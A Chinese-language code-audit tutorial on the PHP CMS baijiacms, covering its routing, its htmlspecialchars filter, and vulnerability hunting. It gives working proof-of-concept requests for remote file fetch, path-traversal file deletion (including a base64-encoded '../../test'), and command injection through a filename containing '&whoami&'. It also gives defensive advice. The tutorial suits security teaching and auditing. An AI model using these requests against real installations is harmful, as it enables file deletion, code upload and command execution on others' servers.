PHP无框架代码审计
字数 1778 2025-08-18 11:36:57
PHP无框架代码审计实战教程
0x00 审计环境准备
-
运行环境:
- phpstudy (php5.6.27 + Apache + mysql)
- Windows10 64位
- PHPStorm
-
目标系统:baijiacms
-
部署方式:
- 将源码放到WWW目录
- 访问/install.php进行安装
0x01 目录结构与路由分析
1. 目录结构分析
无框架PHP应用审计首先需要了解其目录结构:
- 入口文件:根目录下的index.php
- 安全过滤文件:通常在includes目录下
- 函数集文件:通常在common或function等文件夹中
2. 入口文件分析(index.php)
- 检查
/config/install.link文件是否存在,不存在则重定向到install.php - 通过条件判断确定
$mod的值并定义SYSTEM_ACT常量 - 根据传入参数
do和act确定参数值 - 最后包含
includes/baijiacms.php
3. 安全过滤分析
includes/baijiacms.php中定义了安全过滤函数:
function irequestsplite() {
// 使用htmlspecialchars()将预定义字符(&、<、>、"、')转换为HTML实体
// 防止XSS攻击
}
该函数对$_GET和$_POST传入的数据都进行处理。
4. 路由分析
- 主要参数:
mod:代表目录名act:代表目录名do:代表文件名
示例:
- 登录页面URL参数:
mod、act、do、beid - 后台页面URL参数:
site、manager、store
0x02 漏洞审计实战
1. SQL注入审计
审计方法:
- 全局搜索
select等SQL关键词 - 检查SQL语句中是否有拼接的变量
- 检查参数过滤情况
案例:
在\system\manager\class\web\store.php中:
$condition = " and sname like '%".$_GP['sname']."%'";
分析:
- 虽然存在SQL拼接,但
$_GP经过htmlspecialchars()处理 - 单引号被转换为HTML实体,无法闭合SQL语句
- 实际不存在SQL注入漏洞
2. 文件上传/文件写入审计
审计方法:
- 搜索
move_uploaded_file、file_put_contents等函数 - 检查文件类型、大小、路径限制
漏洞点1:
common.inc.php中的fetch_net_file_upload函数:
function fetch_net_file_upload($url) {
// 无文件后缀限制
// 通过$url获取文件名
// 使用file_put_content上传文件
}
调用链:
file_move → file_save → fetch_net_file_upload
漏洞验证:
/index.php?mod=web&act=public&do=file&op=fetch&url=http://远程IP/info.php
3. 任意文件删除审计
审计方法:
- 搜索
unlink、rmdir函数 - 检查路径过滤情况
漏洞点1:
common.inc.php中的file_delete函数:
function file_delete($file) {
if (file_exists($file)) {
unlink($file);
}
}
调用位置:
/system/eshop/coe/mobie/util/uploader.php:
file_delete($file);
漏洞验证:
/index.php?mod=mobile&do=util&act=uploader&m=eshop&op=remove&file=../aaa.txt
漏洞点2:
common.inc.php中的rmdirs函数:
function rmdirs($dir) {
// 使用unlink和rmdir删除目录/文件
// 仅限制不能删除/cache/目录
}
调用位置:
/system/manager/class/web/database.php:
rmdirs(base64_decode($_GP['id']));
漏洞验证:
/index.php?mod=web&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA==
(../../test的base64编码)
4. 命令执行审计
审计方法:
- 搜索
exec、passthru、system等函数 - 检查参数是否可控
漏洞点:
common.inc.php中的file_save函数:
if (!empty($settings['image_compress_openscale'])) {
system("convert {$file_full_path} -quality 80 -resize 50% {$file_full_path}");
}
利用条件:
- 设置
image_compress_openscale为非空 - 控制
$file_full_path参数
调用位置:
/system/weixin/class/web/setting.php:
$file_full_path = IA_ROOT . '/' . $fie['name'];
漏洞验证:
- 访问漏洞路径:
/index.php/?mod=web&act=weixin&do=setting - 上传文件时修改文件名:
(利用filename="&whoami&.txt"&分割命令)
0x03 审计总结
-
审计流程:
- 了解目录结构和路由机制
- 分析全局过滤和安全机制
- 从功能点和代码两个方向审计
-
常见漏洞点:
- SQL注入:关注SQL拼接和参数过滤
- 文件操作:上传、删除、写入等功能的过滤
- 命令执行:系统函数调用和参数控制
-
审计技巧:
- 全局搜索危险函数
- 跟踪参数传递流程
- 验证过滤机制的完整性
-
防御建议:
- 对所有输入参数进行严格过滤
- 使用预编译SQL语句
- 限制文件操作的范围和权限
- 禁用危险系统函数或严格限制参数
通过本案例可以掌握无框架PHP应用的审计方法和常见漏洞挖掘技巧,实际审计时应结合业务逻辑和功能实现进行深入分析。